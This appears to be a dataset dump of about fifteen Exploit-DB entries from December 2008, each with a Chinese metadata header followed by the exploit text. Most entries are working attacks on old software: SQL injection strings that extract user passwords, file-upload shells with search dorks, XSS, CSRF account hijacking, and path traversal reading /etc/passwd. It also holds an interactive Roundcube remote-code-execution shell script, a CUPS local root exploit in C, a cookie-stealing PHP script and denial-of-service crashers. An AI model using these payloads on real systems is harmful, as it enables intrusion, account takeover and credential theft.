QLWD/code_shield huggingface dataset:
标题: Google Chrome - 'ChromeHTML://' Remote Parameter Injection EDB-ID: 7566 CVE: 2008-5750 2008-5749 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-23 漏洞利用脚本: <!--
Google Chrome Browser (ChromeHTML://) remote parameter injection POC
by Nine:Situations:Group::bellick&strawdog
Site: http://retrogod.altervista.org/
tested against: Internet Explorer 8 beta 2, Google Chrome 1.0.154.36, Microsoft Windows XP SP3
List of command line switches:
http://src.chromium.org/svn/trunk/src/chrome/common/chrome_switches.cc
Original url: http://retrogod.altervista.org/9sg_chrome.html

click the following link with IE while monitoring with procmon
-->
<a href='chromehtml:www.google.com"%20--renderer-path="c:\windows\system32\calc.exe"%20--"'>click me</a>

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7566
标题: phpGreetCards - Cross-Site Scripting / Arbitrary File Upload EDB-ID: 7561 CVE: 2008-6849 2008-6848 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: ...................................................................................................

****(remote shell upload/xss)****

script: phpGreetCards
   
***************************************************************************
download from:http://www.w2b.ru/download/phpGreetCards.zip
   
***************************************************************************
www.site.com/path/index.php?mode=select&category

shell: www.site.com/path/userfiles/number_shell.php
-----------------------------------------------------------------------------------------
dork:"powered by phpGreetCards"

if folder userfiles is forbidden
after get upload file u do right-click and see image properties and u see address file.
  
------------------------------------------------------------------------------------------
xss:
index.php?mode=select&category=>"><ScRiPt%20%0a%0d>alert(0)%3B</ScRiPt>  
**************************************************


Author: ahmadbady 

**************************************************

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7561
标题: PHPLD 3.3 - Blind SQL Injection EDB-ID: 7558 CVE: 2008-6851 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: phpLD 3.3 Blind SQL Injection
http://www.phplinkdirectory.com/

magic_quotes_gpc = Off
register_globals = On

Vulnerable:
GET http://site/phpld/page.php?name=

True Request:
(validpagename)' or 1=1#

False Request:
(validpagename)' or 1=0#

Try this (urlencode):
(validpagename)' or ORD(MID((SELECT PASSWORD FROM PLD_USER WHERE ID = 1),1,1))>1# etc...

Field value example:
{sha1}dd94709528bb1c83d08f3088d4043f4742891f4f


- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7558
标题: PHPAdBoard - PHP uploads Arbitrary File Upload EDB-ID: 7562 CVE: 2008-6921 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: .......................................................................

****(remote shell upload)****

script: phpAdBoard
   
***************************************************************************
download from:http://www.w2b.ru/download/phpAdBoard.zip
   
***************************************************************************
www.site.com/path/index.php
shell: www.site.com/path/photoes/number_shell.php
-----------------------------------------------------------------------------------------
dork:"powered by phpAdBoard"

if folder photoes is forbidden
after get upload file u do right-click and see image properties and u see address file.
  
------------------------------------------------------------------------------------------  
**************************************************


Author: ahmadbady 

**************************************************

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7562
标题: CMS NetCat 3.12 - Multiple Vulnerabilities EDB-ID: 7560 CVE: 2008-5742 2008-5730 2008-5729 2008-5728 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: NetCat <= 3.12 Multiple Remote Vulnerabilities

The description:
The set vulnerability in CMS NetCat versions 3.12 and more low was revealed.

1. Multiple File Including Vulnerabilities

Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible.
It gives the chance to redefine internal variables which are transferred as arguments in function include ().
Examples of vulnerable files:
/netcat/modules/netshop/post.php?system=../../../../.htaccess%00
/netcat/modules/auth.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/banner.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/blog.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/forum.inc.php?INCLUDE_FOLDER=../../.htaccess%00

The note:
For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off

2. Blind SQL Injection Vulnerabilities

Examples of vulnerable files:
/netcat/modules/auth/password_recovery.php?=1'SQL_code

Example:
/netcat/modules/auth/password_recovery.php?=1'/**/OR/**/VERSION()/**/LIKE/**/'4%'/*

The note:
For vulnerability operation the following options PHP are required:magic_quotes_gpc=Off

3. Multiple Cross-site Scripting Vulnerabilities

Examples of vulnerable files: 
/netcat/admin/siteinfo/iframe.inc.php?path=http://ha.ckers.org/scriptlet.html" 
/netcat/FCKeditor/neditor.php?form=<XSS>&control=<XSS> etc.

4. HTTP Response Splitting

Examples of vulnerable files: 
/netcat/modules/auth/index.php?logoff=1&redirect=http://www.google.com 
/netcat/modules/linkmanager/redirect.php?url=http://www.google.com

5. CRLF injection 

Vulnerability exists at the moment of value installation %0a in COOKIEvariables.
Vulnerability has been found out at the reference to a file /netcat/add.php.

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7560
标题: Roundcube Webmail 0.2-3 Beta - Code Execution EDB-ID: 7549 CVE: 2008-5619 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-22 漏洞利用脚本: Public Release Date of POC: 2008-12-22
Author: Jacobo Avariento Gimeno (Sofistic)
CVE id: CVE-2008-5619
Bugtraq id: 32799
Severity: Critical
Vulnerability reported by: RealMurphy


Intro
----
Roundcube Webmail is a browser-based IMAP client that uses
"chuggnutt.com HTML to Plain Text Conversion" library to convert
HTML text to plain text, this library uses the preg_replace PHP
function in an insecure manner.

Vulnerable versions:
Round Cube RoundCube Webmail 0.2-3 beta
Round Cube RoundCube Webmail 0.2-1 alpha (tested)


Analysis of the vulnerable code
----
The script bin/html2text.php creates an instance of the class html2text
with the given POST data, the problem arises in the file
program/lib/html2text.php in function _convert() on line 381:

        // Run our defined search-and-replace
        $text = preg_replace($this->search, $this->replace, $text);

Some patterns in $this->search allow interpret PHP code using the "e"
flag, i.e.:
'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // <a href="">
'/<b[^>]*>(.+?)<\/b>/ie',                // <b>
'/<th[^>]*>(.+?)<\/th>/ie',              // <th> and </th>

In concrete those would be replaced by:
'$this->_build_link_list("\\2", "\\3")', // <a href="">
'strtoupper("\\1")',                    // <b>
"strtoupper(\"\t\t\\1\n\")",            // <th> and </th>

Now using PHP complex (curly) syntax we can take advantage of this to
interpret arbitrary PHP code, evaluating PHP code embedded inside
strings.


Proof of Concept
----
As this vulnerability was discovered in-the-wild:
http://trac.roundcube.net/ticket/1485618 was quite sure that would be
exploitable, using PHP curly we can execute phpinfo():

wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php

Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc
to avoid using single or double quotes the arbitrary shell command
execution is fully feasible. As this vulnerability was discovered last
week no more details will be published yet, more info will be available
at http://sofistic.net.



-- Jacobo Avariento Gimeno IT Security Department @ Sofistic Your security, our concern! http://sofistic.net 

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7549
标题: PHPmotion 2.1 - Cross-Site Request Forgery EDB-ID: 7557 CVE: 2008-6729 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: PHPmotion <= 2.1 CSRF vulnerability

Author: Ausome1
Email: Ausorme1@gmail.com
Website: http://www.enigmagroup.org
Description: Change a member's password and/or email.
---------------------------------------------------------------------------------------------------


Social engineer a PHPMotion member to come to your web page with the following hidden iframe on 
there, which pulls in the evil script from pwned.html. This will change the victim's password and email, 
using their credentials.

We use a hidden iframe so the victim doesn't know their password was changed till it's to late. In 
the pwned.html file I recreated the form on the PHPMotion change password/email. Javascript is used 
to submit the form on page load.

Hidden iframe code:

 <iframe id="hiframe" style="visibility:hidden;display:none" src="pwned.html"></iframe>


Source of pwned.html file:

 <html>
 <head></head>
 <body onload="document.forms.invite.submit();">
 <form name="invite" action="http://demo.phpmotiontemplates.com/v2/default/password.php" method="post" class="UpdateProfileForm">
  <input type="hidden" name="submitted" value="yes" />
  <input type="password" name="password" value="password123" />
  <input type="text" name="email_address" size="36" value="NotYourEmail@anymore.com" />
  <input type="submit" value="Update settings" name="invite_fr" />
 </form>
 </html>


Once your victim has visited your evil page, You may now be able to log into their PHPMotion account, 
using password "password123" and their email will be "NotYourEmail@anymore.com".

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7557
标题: Mozilla Firefox 3.0.5 - location.hash Remote Crash EDB-ID: 7554 CVE: 2009-2953 2008-5715 类型: DOS 平台: WINDOWS 发布日期: 2008-12-23 漏洞利用脚本: #!/usr/bin/perl
# mzff_lhash_dos.pl
# Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# Crash on Vista, play with it on XP

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>\n\n";

}

$head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n";
$trig = "location.hash = \"" . "A" x 20000000 . "\";" . "\n";
$foot = "</script>" . "\n" . "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit;

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7554
标题: Calendar Script 1.1 - Authentication Bypass EDB-ID: 7551 CVE: 2008-5737 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-22 漏洞利用脚本: -----------------------------------------------------
 Calendar Script v1.1 Admin Login Bypass Vulnerability
 -----------------------------------------------------
 by athos - staker[at]hotmail[dot]it
 http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1

 File Vuln "index.php" (code details)

 ------------------------------------------------------------

 4.  $action = $_POST['action'];
 5.
 6.  switch($action) {
 7.  case 'login':
 8.  // login
 9.  $username = stripslashes(trim($_POST['username']));
 10. $password = sha1(stripslashes(trim($_POST['password'])));
 11.
 12. if(empty($username) || empty($password)) {
 13. // Stop, someone tried entering nothing into here
 14. // Show an error.
 15. $loginMsg = 'You must enter a username and password';
 16. } else {
 17. // The input seems to be ok, check it against the database.
 18. $checkDetails = mysql_query("SELECT id FROM user WHERE username='$username' AND password='$password' LIMIT 1", $conn);

 ------------------------------------------------------------

 Exploit

 http://[host]/[path]/index.php

 (Login) Username: ' or 1=1# & Password: anything

 ------------------------------------------------------------

 Fix: $username = mysql_real_escape_string($_POST['username']);

 Note: works regardless php.ini settings (str0ke =D)
       don't add me on msn messenger

 ------------------------------------------------------------

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7551
标题: Roundcube Webmail 0.2b - Remote Code Execution EDB-ID: 7553 CVE: 2008-5619 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-22 漏洞利用脚本: #!/bin/sh
#
# I was hoping the PoC would not appear so soon,
# but now that it is out,
# i thought i might as well publish my real exploit.
#
# Hunger
#
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5619
#
# FOR LEARNING PURPOSES ONLY!
#
# PHP> echo(ini_get('disable_functions'));
#
# exec, system
#
# PHP> passthru("id; uname -a");
#
# uid=666(www-data) gid=666(www-data) groups=666(www-data)
# Linux mail 2.6.28 #0 Sun Jan 01 10:05:33 CET 2009 i686 GNU/Linux
#

echo  'Exploit for Roundcube Webmail =< 0.2-beta'
echo  'html2text.php / preg_replace() / eval bug'
echo -e '\r\nby Hunger <rch2tex@hunger.hu>\r\n\n'

if [ "$2" = "" ]; then echo "
Usage:
$0 <hostname> <deeplink>

Example:
\$ $0 localhost /roundcube/bin/html2text.php


For https sites use stunnel or socat!
"; exit 1; fi

NETCATEXE=`which nc`
BASE64ENC=`which base64`

if [ "$NETCATEXE" = "" ] || [ "$BASE64ENC" = "" ]; 
then
   echo "Required tool(s) missing... (netcat, base64)"
   exit 2
fi

USERAGENT="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2)"

MYPAYLOAD="{\${EVAL(BASE64_DECODE(\$_SERVER[HTTP_ACCEPT]))}}"
EVALEDTAG="<b>"
EVALEDTAG=$EVALEDTAG$MYPAYLOAD
EVALEDTAG=$EVALEDTAG"</b>"

PARAMSIZE=54

HOST_NAME=$1
DEEP_LINK=$2
HTTP_PORT=80

HTTPHEADR=""
HTTPHEADR=$HTTPHEADR"POST $DEEP_LINK HTTP/1.0\r\n"
HTTPHEADR=$HTTPHEADR"Host: $HOST_NAME\r\n"
HTTPHEADR=$HTTPHEADR"User-Agent: $USERAGENT\r\n"
HTTPHEADR=$HTTPHEADR"Content-length: $PARAMSIZE\r\n"
HTTPHEADR=$HTTPHEADR"Accept:"

SPLOITCHK='Succeeded! :))'
PHPAYLOAD='echo("'
PHPAYLOAD=$PHPAYLOAD$SPLOITCHK'\r\n\r\n'
PHPAYLOAD=$PHPAYLOAD'Type PHP functions as shell commands. ;)\r\n'
PHPAYLOAD=$PHPAYLOAD'Use \"exit\" to close session.\r\n\r\n'
PHPAYLOAD=$PHPAYLOAD'Good luck and have phun! ;D\r\n\r\n'
PHPAYLOAD=$PHPAYLOAD'")'

HTTPOKMSG="HTTP/1.0 200 OK"
HTTP1KMSG="HTTP/1.1 200 OK"
RETURNCHR=`echo -e "\r\n"`

echo -n "Trying to exploit... "

f=0; until [ "$PHPAYLOAD" = "exit" ]; do
 PHPAYLOAD=`echo "$PHPAYLOAD;" |$BASE64ENC --wrap=0`
 HTTP_SEND="$HTTPHEADR $PHPAYLOAD\r\n\r\n$EVALEDTAG"
 HTTP_BACK=`echo -ne "$HTTP_SEND"|$NETCATEXE $HOST_NAME $HTTP_PORT`
 if [ $? != 0 ]; then echo "Connection failed."; exit 3; fi
 e=0; l=0; echo "$HTTP_BACK" | while read i; do let l++;
   if [ $l = 1 ] && [ "$i" != "$HTTPOKMSG$RETURNCHR" ] \
                 && [ "$i" != "$HTTP1KMSG$RETURNCHR" ]; then
      echo "Bad Server Response :\\"; exit 4; fi;
   if [ $e = 1 ] && [ $f = 0 ] && [ "$i" = "$MYPAYLOAD" ]; then
      echo "Target has been patched /o\\"; exit 4; fi
   if [ $e = 1 ] && [ $f = 0 ] && [ "$i" != "$SPLOITCHK$RETURNCHR" ]; then
      echo -e "Exploitation failed :(("; exit 4; elif
         [ "$i" = "$SPLOITCHK$RETURNCHR" ]; then let f++; fi
   if [ $e -gt 0 ]; then echo "$i"; fi
   if [ "$i" = "$RETURNCHR" ]; then let e++; fi
 done
 if [ $? != 4 ]; then let f++; echo -ne "PHP> "; else
  echo -e "\n\nDump:\n\n$HTTP_BACK"; exit 4; fi;
 read PHPAYLOAD
done

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7553
标题: Psi Jabber Client (Windows / Linux) - Remote Denial of Service EDB-ID: 7555 CVE: 2008-6393 类型: DOS 平台: MULTIPLE 发布日期: 2008-12-23 漏洞利用脚本: #!/usr/bin/python
#psi jabber client 8010/tcp remote denial of service (win & lin)
#by sha0[at]badchecksum.net
#http://jolmos.blogspot.com

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    sock.connect((sys.argv[1],8010))
except:
    print 'Cannot connect!'
    sys.exit(1)

try:
    sock.send('\x05\xff')
    print 'Crashed!'
except:
    print 'Cannot send!'

sock.close() 

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7555
标题: CUPS < 1.3.8-4 - Local Privilege Escalation EDB-ID: 7550 CVE: 2008-5377 类型: LOCAL 平台: MULTIPLE 发布日期: 2008-12-22 漏洞利用脚本: /*
 * cve-2008-5377.c
 *
 * CUPS < 1.3.8-4 pstopdf filter exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Usage:
 *
 *   $ gcc cve-2008-5377.c -o cve-2008-5377.c
 *   $ ./cve-2008-5377
 *   $ id
 *   uid=0(root) gid=1000(vm) ...
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-5377
 *
 *   pstopdf in CUPS 1.3.8 allows local users to overwrite arbitrary files via
 *   a symlink attack on the /tmp/pstopdf.log temporary file.
 *
 * Operation:
 *
 *   The exploit creates and prints a malformed postscript document that will
 *   cause the CUPS pstopdf filter to write an error message out to its log 
 *   file that contains the string /tmp/getuid.so.  However, since we also 
 *   symlink the pstopdf log file /tmp/pstopdf.log to /etc/ld.so.preload, the 
 *   error message and malicious shared library path will be appended to the
 *   ld.so.preload file, allowing us to elevate privileges to root.
 *
 * Note:
 * 
 *   This exploit only works under the (rare) conditions that cupsd executes 
 *   external filters as a privileged user, a printer on the system uses the 
 *   pstopdf filter (e.g. the pdf.ppd PDF converter). Also, /etc/ld.so.preload
 *   must be world readable.
 */

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>

int
main(void)
{
 int ret;
 FILE *fp;
 struct stat log;

 fp = fopen("/tmp/cve-2008-5377.ps", "w");
 if(!fp) {
  printf("error: cannot open /tmp/cve-2008-5377.ps\n");
  goto cleanup;
 }
 fprintf(fp, "%%!PS-Adobe-2.0 EPSF-2.0\n( /tmp/getuid.so ) CVE-2008-5377\n");
 fclose(fp);

 fp = fopen("/tmp/getuid.c", "w");
 if(!fp) {
  printf("error: cannot open /tmp/getuid.c\n");
  goto cleanup;
 }
 fprintf(fp, "int getuid(){return 0;}\n");
 fclose(fp);

 ret = system("cc -shared /tmp/getuid.c -o /tmp/getuid.so");
 if (WEXITSTATUS(ret) != 0) {
  printf("error: cannot compile /tmp/getuid.c\n");
  goto cleanup;
 }

 unlink("/tmp/pstopdf.log");
 ret = stat("/tmp/pstopdf.log", &log);
 if (ret != -1) {
  
  printf("error: /tmp/pstopdf.log already exists\n");
  goto cleanup;
 }

 ret = symlink("/etc/ld.so.preload", "/tmp/pstopdf.log");
 if (ret == -1) {
  printf("error: cannot symlink /tmp/pstopdf.log to /etc/ld.so.preload\n");
  goto cleanup;
 }

 ret = system("lp < /tmp/cve-2008-5377.ps");
 if (WEXITSTATUS(ret) != 0) {
  printf("error: could not print /tmp/cve-2008-5377.ps\n");
  goto cleanup;
 }

cleanup:
 unlink("/tmp/cve-2008-5377.ps");
 unlink("/tmp/getuid.c");
 return 0;
} 

// milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7550
标题: SolarCMS 0.53.8 - 'Forum' Remote Cookies Disclosure EDB-ID: 7548 CVE: 2008-6345 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-22 漏洞利用脚本: <?php

error_reporting(0);

/***************************************************************
 *  ---------------------------------------------------------  * 
 *  SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit  *
 *  ---------------------------------------------------------  *
 *  by athos - staker[at]hotmail[dot]it                        *
 *  download on http://cms.maury91.org/                        *
 *  works regardless PHP.ini settings                          *                     
 *  ---------------------------------------------------------  *
 ***************************************************************/


list($file,$host,$path,$myid,$table) = $argv;

if($argc != 5) usage();

$cookie = (preg_match('/\^(.+?)\^/',get_cookies(),$out)) ? explode(':',$out[1]) : error();

if($path == '/')
{
      print "_nick={$cookie[1]}; path=/;\n";
      print "_sauth={$cookie[0]}; path=/;\n";
      exit;
}     
else
{
      print "/{$path}_nick={$cookie[1]}; path=/;\n";
      print "/{$path}_sauth={$cookie[0]}; path=/;\n";
      exit;
}      
 
 
 

function get_cookies()
{
      global $host,$path,$myid,$table;
       
      $data .= "GET {$path}/index.php?com=Forum&cat=-1+union+select+1,";
      $data .= "concat(0x5e,sauth,0x3a,nick,0x5e),3+from+{$table}+where+id={$myid}-- HTTP/1.1\r\n";
      $data .= "Host: {$host}\r\n";
      $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
      $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
      $data .= "Connection: close\r\n\r\n";

      
      
      if(!$sock = fsockopen($host,80)) die("connection refused\n");
      
      fputs($sock,$data);
      
      while(!feof($sock))
      {
            $html .= fgets($sock);
      }    
      
      fclose($sock);
      return $html;
}     


       
function error()
{
      print "Exploit Failed!\n";
      print "Regards ;)\n";
      exit;
}

function usage()
{
      print "---------------------------------------------------------\n";    
      print "SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit\n";
      print "---------------------------------------------------------\n";
      print "by athos - staker[at]hotmail[dot]it\n";
      print "Usage: php xpl.php [host] [path] [userid] [table]\n";
      print "php xpl.php localhost /  1 solarcms_users\n";
      exit;

}

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7548
标题: Joomla! Component Volunteer 2.0 - SQL Injection EDB-ID: 7546 CVE: 2008-6337 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-22 漏洞利用脚本: #############################################################
Joomla Component com_volunteer(job_id) SQL-injection
#############################################################


###################################################
#[~] Author  :   boom3rang 
#[~] Site    :   www.khg-crew.ws
#[~] Greetz  :   H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
----------------------------------------
#[!] <name>Volunteer</name>
#[!] <creationDate>05.04.2007</creationDate>
#[!] <author>John Pan</author>
#[!] <authorEmail>johnpanq@sina.com</authorEmail>
#[!] <version>2.0</version>
###################################################

Example:
http://localhost/Path/index.php?option=com_volunteer&task=jobs&act=jobshow&Itemid=29&orgs_id=3&job_id=[exploit]

Exploit:
-9999+union+all+select+concat(username,char(58),password),2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20+from+jos_users--

LiveDEMO:
http://demolegacy.joomlaapps.com/index.php?option=com_volunteer&task=jobs&act=jobshow&Itemid=29&orgs_id=3&job_id=-9999+union+all+select+concat(username,char(58),password),2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20+from+jos_users--&filter=&city_id=&function_id=&limit=5&pageno=1

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7546
标题: WordPress Plugin Page Flip Image Gallery 0.2.2 - Remote File Disclosure EDB-ID: 7543 CVE: 2008-5752 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-22 漏洞利用脚本: _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|

Wordpress Plugin Page Flip Image Gallery <= 0.2.2 Remote File Disclosure Vulnerability
D : http://downloads.wordpress.org/plugin/page-flip-image-gallery.0.2.2.zip
Poc : 
 /wp-content/plugins/page-flip-image-gallery/books/getConfig.php?book_id=../../../../../../../../../../../etc/passwd%00123

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7543